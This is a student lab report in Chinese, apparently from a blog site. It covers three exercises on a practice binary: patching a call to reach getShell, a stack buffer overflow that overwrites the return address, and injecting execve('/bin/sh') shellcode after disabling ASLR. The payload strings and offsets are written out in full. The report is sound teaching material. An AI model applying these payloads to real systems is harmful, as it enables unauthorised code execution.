当前位置: 首页 > news >正文

20232427 2025-2026-1 《网络与系统攻防技术》实验一实验报告

一、实验目的

篡改程序流程——直接修改可执行文件,跳转至getShell;
栈溢出攻击——利用foo函数的缓冲区溢出漏洞,覆盖返回地址触发getShell;
Shellcode注入——构造恶意输入注入自定义Shellcode并执行。

二、基础知识

1.NOP, JNE, JE, JMP, CMP汇编指令的机器码

(1)NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
(2)JNE:条件转移指令,如果不相等则跳转。(机器码:75)
(3)JE:条件转移指令,如果相等则跳转。(机器码:74)
(4)JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
(5)CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2.反汇编

(1)由已生成的机器语言(二进制语言)转化为汇编语言的过程,也可以说是汇编的逆向过程
(2)在本次实验中,我们在Linux环境下使用objdump反汇编工具对pwn1文件进行反汇编
(3)反汇编指令objdump -d <文件名>

3.十六进制编辑器

(1)十六进制编辑器是用于编辑单个字节数据的软件应用程序,主要由程序员或系统管理员使用。Linux系统中可以使用多种十六进制编辑器,在本次实验中我主要使用xxd,xxd 是一个命令行十六进制编辑器,可以创建二进制文件的十六进制转储。
(2)%!xxd 进入十六进制编辑模式
(3)%!xxd -r 切换回原模式

三、实验过程

(一)直接修改程序机器指令,改变程序执行流程

首先输入sudo su来获取root权限,然后通过输入hostname zhangyaozhong来改变终端名,在这里我修改为自己名字的拼音全写,打开新终端后显示修改成功。
image
通过共享文件夹(共享文件夹命名为share)将pwn1文件下载至kali中并将pwn1文件改名为pwn20232427,然后运行可执行文件./pwn20232427
image
反汇编文件objdump -d pwn20232427 | more
image
第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。
根据实验要求,我们需要修改可执行文件,改变程序执行流程,直接跳转到getShell函数。这里就需要修改主函数,想办法将call foo改为call getShell。因此,需要将call 8048491中的地址8048491修改为getShell的地址804847d。
偏移量=8048491-80484ba=-41。补码表示为0xffffffd7,与第二列机器指令中的0xd7ffffff相吻合。由此可知,要想调用getShell,偏移量为0804847d(getShell函数的首地址)-80484ba=-61=0xffffff3c颠倒为计算机存储内容,为0xc3ffffff,即需要将0xd7ffffff修改为0xc3ffffff。
在终端输入vi pwn20232427 ,打开文件后为乱码
image

按esc键,输入:%!xxd进入十六进制编辑模式,使用/e8 d7快速找到需要修改的地址
image

修改地址,将d7改成c3,然后使用:%!xxd -r转回原来乱码格式,并使用:wq命令保存退出;
反汇编objdump -d pwn20232427 | more查看机器指令;
image

看到修改成功
输入./pwn20232427显示运行结果
image

成功获取shell,即成功调用了getShell函数。

(二)通过构造输入参数,造成BOF攻击,改变程序执行流

使用sudo apt update和sudo apt install gdb命令安装gdb。安装完成后输入gdb,检查gdb是否安装成功。
image

在程序调用时,会创建一个栈帧,foo函数用于读取字符串。然而,系统只为该函数分配了28字节的缓冲区,这使程序存在缓冲区溢出漏洞。通过向这个缓冲区输入超出其限制长度的字符串,可以覆盖返回地址,并将其修改为指向getShell函数,从而实现攻击目的。
根据之前的反汇编结果,程序正常执行时,call指令会调用foo函数,并在堆栈中压入返回地址0x80484ba。
接下来,重新上传一个pwn1,重命名为pwn20232427temp.使用gdb调试工具对文件pwn2进行调试,命令为gdb pwn20232427temp,以确认输入字符串的哪几个字符会覆盖到返回地址。通过这种方式,可以确定覆盖返回地址的具体位置,进一步实现漏洞利用。
输入字符串1111111122222222333333334444444412345678,然后使用命令info r查看寄存器eip的值,发现输入的1234(即十六进制的0x34333231)被覆盖到了堆栈上的返回地址。因此,我们只需将这四个字符替换为getShell的内存地址,就可以让程序执行getShell函数。
根据之前的反汇编结果,getShell函数的内存地址为0x0804847d。将该地址替换为原来的返回地址位置,并将其输给pwn20232427temp,即可成功运行getShell函数。
image

image

把1234换成getShell的地址0x0804847d,我们需要构造字符串11111111222222223333333344444444\x7d\x84\x04\x08,
输入
perl-e'print"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
生成一个包含这些16进制内容的文件(\x0a表示回车);
使用16进制查看指令xxd input查看input文件的内容,确认无误后使用(cat input;cat) | ./pwn20232427temp将input中的字符串作为可执行文件的输入。
image

成功获取shell,即成功调用了getShell函数。

(三)注入Shellcode并执行

1.首先准备一个新的文件pwn20232427-0

execstack无法安装,选择安装patchelf代替
通过以下命令对pwn20232427-0文件进行设置:
设置堆栈可执行:
patchelf --set-execstack pwn20232427-0
查询文件的堆栈是否可执行:
readelf -l pwn20232427-0 | grep GNU_STACK
关闭地址随机化:
echo "0" > /proc/sys/kernel/randomize_va_space
验证地址随机化是否关闭:
more /proc/sys/kernel/randomize_va_space
输出0,说明已经关闭
image

2.构造要使用的payload

Linux下有两种基本构造攻击缓冲区溢出的方法:
retaddr + nop + shellcode
nop + shellcode + retaddr
使用以下命令构造shellcode的输入(x1x2x3x4是占位符,后续将替换为注入shellcode的地址,即foo函数中返回地址的位置,这个地址需要我们接下来通过gdb分析找到),并将其放入名为input_shellcode的文件中:
perl -e 'print
"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
输入以下命令将input_shellcode的输入内容作为pwn20232427-0的输入:
(cat input_shellcode; cat) | ./pwn20232427-0
image

新打开一个终端,输入以下命令查看pwn20232427-0文件的进程及进程号:
ps -ef | grep pwn20232427-0
可以看到,进程号分别为19785和20060,但是19785才是pwn文件的进程号。
此后,再在这个新终端中使用gdb进行调试,输入gdb pwn20232427-0,来获取foo函数中returnaddress的位置。
image

后输入命令attach 19785,输入刚刚查找的进程号
输入命令disassemble foo,反编译foo函数并进行分析
可以看到,ret的地址为0x080484ae,因此,在这里设置断点,继续分析
image

输入命令break *0x080484ae
在新终端输入c,c表示continue继续运行,继续运行后,在老终端按一下enter键,否则新终端的continue将一直进行。
image

输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffd2fc;
使用x/16x 0xffffd2fc命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x01020304,这说明找的就是这个地址。
image

因此,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffd2fc+4=0xffffd300。
现在进行shellcode的注入,将0x04030201换成上述我们计算出来的位置0xffffd300,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入perl -e 'print "A" x 32;print "\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd2\xff\xff\x00"' > input_shellcode,然后再输入(cat input_shellcode; cat) | ./pwn20232427-0,将input_shellcode的输入内容作为pwn20232427-0的输入。
image

执行 ls 命令后成功显示当前目录文件,确认已通过覆盖返回地址调用 getShell 函数,完成攻击。

四、问题及解决方案

1.无法安装gdb

执行 apt install gdb 时,系统提示找不到 gdb 包的安装候选(Package 'gdb' has no installation candidate)。
同时,在执行 sudo apt update 时,出现了无法解析 http.kali.org 的临时故障(Temporary failure resolving 'http.kali.org'),这导致软件源索引更新失败,进而无法找到 gdb 包。
image

检查后发现是虚拟机网络连接问题,在设置中将网络适配器从桥接模式改为NAT模式后解决。

2.安装不了execstack

查阅资料和询问同学后选择安装patchelf代替

http://www.hskmm.com/?act=detail&tid=27011

相关文章:

  • 墨西哥证券交易所(BMV)等多个交易所股票数据API对接文档
  • Kubernetes技术详解-从理论到实践-(5)-控制器-Deployment - 详解
  • P5664 [CSP-S2019] Emiya 家今天的饭 题解
  • PWN手的成长之路-11-CISCN 2019华北 PWN1-栈溢出
  • sensitive-word:一个简单易用的敏感词过滤框架
  • 回归学习——包机制
  • vue 组件的常见8种通信方式
  • vue一键安装
  • 如何使用 ManySpeech 调用 SenseVoiceSmall 模型
  • 维基框架 (Wiki Framework) v1.1.2 | 企业级微服务开发框架
  • 国庆假期总结
  • CF1738E Balance Addicts
  • 2025浇注型聚氨酯厂家最新推荐榜:聚氨酯胶黏剂/聚氨酯胶辊/聚氨酯制品/聚氨酯原料/液体聚氨酯/聚氨酯浇注料/聚氨酯ABC料/浇筑聚氨酯/聚氨酯预聚物全场景实力厂家
  • C语言设计模式-策略模式
  • 动态张量运算自动优化技术解析
  • 【PhysUnits】15.9 引入P1后的右移运算(shr.rs) - 详解
  • 10. 模型与视图
  • [KaibaMath]1004 关于f(x,y) = [x]+[y] - [x+y]的平移稳定性
  • Mac OS 问题与技巧
  • 《算法设计与分析》第一章学习记录
  • nestjs 和 nextjs 分别是做啥的
  • 定时收集TCM数据并生成Excel报表并上传
  • 2025.10 国庆集训模拟赛总结
  • 详细介绍:https和http有什么区别-http各个版本有什么区别
  • CF2150F Cycle Closing
  • Easysearch 字段隐身之谜:source_reuse 与 ignore_above 的陷阱解析
  • QOJ856 Cactus 广义串并联图
  • CF2152 订题
  • 静态路由
  • Kruskal 重构树学习笔记